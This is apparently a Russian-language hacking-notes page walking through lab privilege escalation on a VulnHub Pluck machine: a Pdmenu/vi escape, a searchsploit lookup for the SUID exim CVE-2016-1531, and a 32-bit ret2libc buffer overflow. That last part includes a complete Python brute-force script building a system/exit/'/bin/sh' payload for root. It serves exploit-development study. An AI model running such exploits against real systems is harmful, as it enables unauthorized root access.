> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/useful-resources/exploit-development/linux-buffer-overflow-custom.md).

# Переполнение буфера Linux — custom

## Первый пример пользовательского бинарного файла (Pdmenu/exim):

<details>

<summary>Скачайте образ машины <a href="https://www.vulnhub.com/entry/pluck-1,178/"><strong>извлекать</strong></a></summary>

</details>

> Первый пример сосредоточен на эксплуатации легитимного бинарного файла exim-4.84-7, в котором есть уязвимость, обозначенная как CVE-2016-1531. Эта уязвимость позволяет атакующему выполнять команды с привилегиями, злоупотребляя определёнными переменными окружения.

* В этом случае, когда мы обращаемся к пользователю Paul, a **Pdmenu** назначается ему с определёнными функциями (список каталогов, редактирование файлов, запуск ping и т. д.):

<figure><img src="/files/61a600a13a2c46c4e124ae471af57b49ce54b5c9" alt=""><figcaption></figcaption></figure>

* Чтобы выйти из этого меню, мы **редактируем файл**, например (etc/host):

<figure><img src="/files/3ce719ca39c8dab0c9d07df8ecb5195e78187008" alt=""><figcaption></figcaption></figure>

* В этом случае, **vi** используется как текстовый редактор:

<figure><img src="/files/ed0fc4d844f419c790b49a430442c1efb2ac2ddb" alt=""><figcaption></figcaption></figure>

* Посмотрев на **gtfobins**, если отфильтровать по vi, мы получим команды для выхода из Pdmenu и **запустить оболочку**:

<figure><img src="/files/613e94fe8f81413814de8ac31455afc8aeaaca62" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ac3dda73a8f5fe429974d5fbf7b40c3f0b2b3fec" alt=""><figcaption></figcaption></figure>

* Мы фильтруем **SUID** файлы и находим один под названием exim:

<figure><img src="/files/b9da359fa3761fb67ba40ff5e87c0d695d9100ad" alt=""><figcaption></figcaption></figure>

* С помощью **searchsploit** с помощью инструмента мы ищем возможные уязвимости для этого бинарного файла:

<figure><img src="/files/a7da835b6c03911862736345af289dc389d650de" alt=""><figcaption></figcaption></figure>

* Теперь загрузите скрипт и раздайте его с помощью **python3** чтобы он мог быть загружен после компрометации машины:

<figure><img src="/files/a3eea52fedfaf5fddf0c9b2a22c0b22c36680623" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d170eb2896febbc1110c081c3dfd5283f572da90" alt=""><figcaption></figcaption></figure>

* Мы запускаем скрипт, и действительно уязвимость этого бинарного файла эксплуатируется, таким образом мы получаем **root-доступ**:<br>

  <figure><img src="/files/c3d23c21de341c7f1fd642d3cc554f09d7e0b95e" alt=""><figcaption></figcaption></figure>

## Второй пример (переполнение буфера):

<details>

<summary><strong>Скачайте уязвимую</strong> <a href="https://releases.ubuntu.com/16.04/"><strong>Ubuntu</strong></a> <strong>машину</strong></summary>

</details>

<details>

<summary><strong>Установите инструмент</strong> <a href="https://github.com/longld/peda"><strong>Peda</strong></a></summary>

</details>

> Второй пример касается **переполнения буфера** в пользовательском [бинарный файл](https://hack4u.io/wp-content/uploads/2023/04/custom) на 32-битной машине Linux с включёнными активными защитами и ASLR. В этом случае мы сосредоточимся на эксплуатации ret2libc в бинарном файле, имеющем права SUID и принадлежащем root. Через переполнение буфера мы демонстрируем, как внедрять привилегированные команды и повышать привилегии пользователя.

\***переполнения буфера** включает перезапись некоторых системных регистров, и поскольку бинарный файл создан пользователем и принадлежит группе root, **он будет выполняться с правами привилегированного пользователя**:

<figure><img src="/files/bdb7910e87a2c3f28e79e13a0df8f259e8144362" alt=""><figcaption></figcaption></figure>

* Бинарный файл под названием "custom" ожидает **строковый ввод** и при его запуске ничего не происходит:

<div data-full-width="true"><figure><img src="/files/b31f7c12148fc8ca84814e70ac37d07ccb90268f" alt=""><figcaption></figcaption></figure></div>

* Но если мы введём **очень длинную строку**, он возвращает ошибку (core dumped):

<div data-full-width="true"><figure><img src="/files/661a36084bcca73920537d71ebcd329469b54974" alt=""><figcaption></figcaption></figure></div>

Мы отправляем **короткую строку** из AAAAAAAA и не **появляется ошибок**:

* Чтобы детально проанализировать бинарный файл, мы будем использовать **gdb-peda** инструмент.

<figure><img src="/files/28a545ebd2c00c416f027a39e4deb19926169b8c" alt=""><figcaption></figcaption></figure>

* Но если мы отправим **много символов**, мы получим следующую ошибку:

<figure><img src="/files/604788ef1ff1639adf5cfb56e21decdb0e9cb9d8" alt=""><figcaption></figcaption></figure>

1. Первое, что нужно сделать, это **определить общее число строк** нужно для перезаписи регистра (EIP).

* Первый метод состоит в использовании **мотива (шаблона)** который создаёт цепочку **пространственно организованную** (в этих случаях 300 символов), которые наши запуски в бинарном файле:

<div data-full-width="true"><figure><img src="/files/3d10f4df674f65a6f0dce23b5201e59d0ab161e0" alt=""><figcaption></figcaption></figure></div>

* В ответе **EIP**, мы знаем, что **нижняя видимая цепочка** это "AA8A":

<figure><img src="/files/7c24a7a009a1b83c1471f81980b32cb3fac79f83" alt=""><figcaption></figcaption></figure>

* У **автоматический** режим программы выполняется с помощью `pattern offset $eip` команды:

<figure><img src="/files/65254e93adabbfc1ef83ab5180b1195da6b381d6" alt=""><figcaption></figcaption></figure>

* Чтобы проверить это, мы используем **python3** отправив 112 символов A, а затем последние 4 B:

```bash
r $(python3 -c 'print("A"*112 + "B"*4)')
```

* Фактически, теперь мы подтверждаем хвост благодаря **EIP** который обнаруживает последние 4 B:

<figure><img src="/files/7ac6c5e04610804f85c3e159f946e362a5133f9a" alt=""><figcaption></figcaption></figure>

2. Как только мы узнаем максимальное число символов, мы **проверяем ASLR** который определит, есть ли **случайность в адресах памяти** или нет:

/- С помощью следующей команды мы фильтруем интересующие нас строки, чтобы запустить бинарный файл 10 раз, посмотреть, меняется ли он каждый раз, и увидеть, является ли **библиотека C** случайной или нет:

Действительно, она "случайна"

<figure><img src="/files/8801274939cefad5ca49010bef0d96e3df455528" alt=""><figcaption></figcaption></figure>

3. Проблема с этими **32-битными** бинарными файлами часто в том, что если мы запустим, например, сейчас **1000 раз** A и отфильтруем по фиксированной строке, мы увидим, что каждый раз, **она повторится по крайней мере один раз**:

<div data-full-width="true"><figure><img src="/files/6780a2d21a88e40f81f70c56c0ae374e3e6eb298" alt=""><figcaption></figcaption></figure></div>

4. Цель сейчас — сначала найти **EIP** строки (**system + exit + bin/\_sh**), которые всегда будут фиксированными и необходимыми для запуска **Bash с правами root** как в следующем примере, но на Python:

   <br>

   <figure><img src="/files/1c64996f7746cc387fa88937561f9a3110390155" alt=""><figcaption></figcaption></figure>

* Мы создаём **точку останова** чтобы выполнение программы останавливалось в нужный момент:

<figure><img src="/files/4d8795e883360996a304bc2378c342baa5fce002" alt=""><figcaption></figcaption></figure>

* Мы внедряем **EIP** из (system/exit/bin/\_sh):<br>

  <figure><img src="/files/d85e29eeb3f1bf603542e52faeba1903f84d8ddd" alt=""><figcaption></figcaption></figure>

5. Как только мы видим, что есть **случайность**, нам нужно использовать **брутфорсом** до тех пор, пока **base/\_libc/\_addr** не станет равен желаемому значению:

/- С помощью следующего мы увидим **библиотеки, которые запущены** (в данном случае **libc.so**):

<figure><img src="/files/b7d41cbaa27fb1c0f3302d0b0d69e78897cd75bf" alt=""><figcaption></figcaption></figure>

* С **readelf**, наши фильтры для библиотеки и поиск ранее внедрённых переменных, которые являются (**exit и system**) с кодами:

<figure><img src="/files/c939b3f6dbbb7a387cf8442b0591213ee1dfcbc6" alt=""><figcaption></figcaption></figure>

* А чтобы найти строку **/bin/sh**, мы делаем следующее, добавляя **0x00** в начале:

<figure><img src="/files/ba19958484df292d6a12e9567dcdfa6496f42fce" alt=""><figcaption></figcaption></figure>

Следующий скрипт Python3 будет **автоматизировать весь перебор** пока **base/\_libc/\_addr** не станет тем же самым:

```python
#!/usr/bin/python3

import subprocess
from struct import pack 
import sys 

offset = 112
before_eip = b"A" * 112

# Custom Linux Buffer Overflow

base_libc_addr = 0xb7595000

system_addr_off = 0xb7d86db0
exit_addr_off = 0xb7d7a9e0
bin_sh_addr_off = 0xb7ea7b2b

system_addr = pack("<L", base_libc_addr + system_addr_off)
exit_addr = pack("<L", base_libc_addr + exit_addr_off)
bin_sh_addr = pack("<L", base_libc_addr + bin_sh_addr_off)

payload = before_eip + system_addr + exit_addr + bin_sh_addr

while True:
    result = subprocess.run(["sudo", "/usr/bin/custom", payload])

    if result.returncode == 0:
        print("/n/n [+] Выход.../n")
        sys.exit(0)
```

<figure><img src="/files/463b59c82979c331cce088d8e88d2de74f788ec7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/useful-resources/exploit-development/linux-buffer-overflow-custom.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
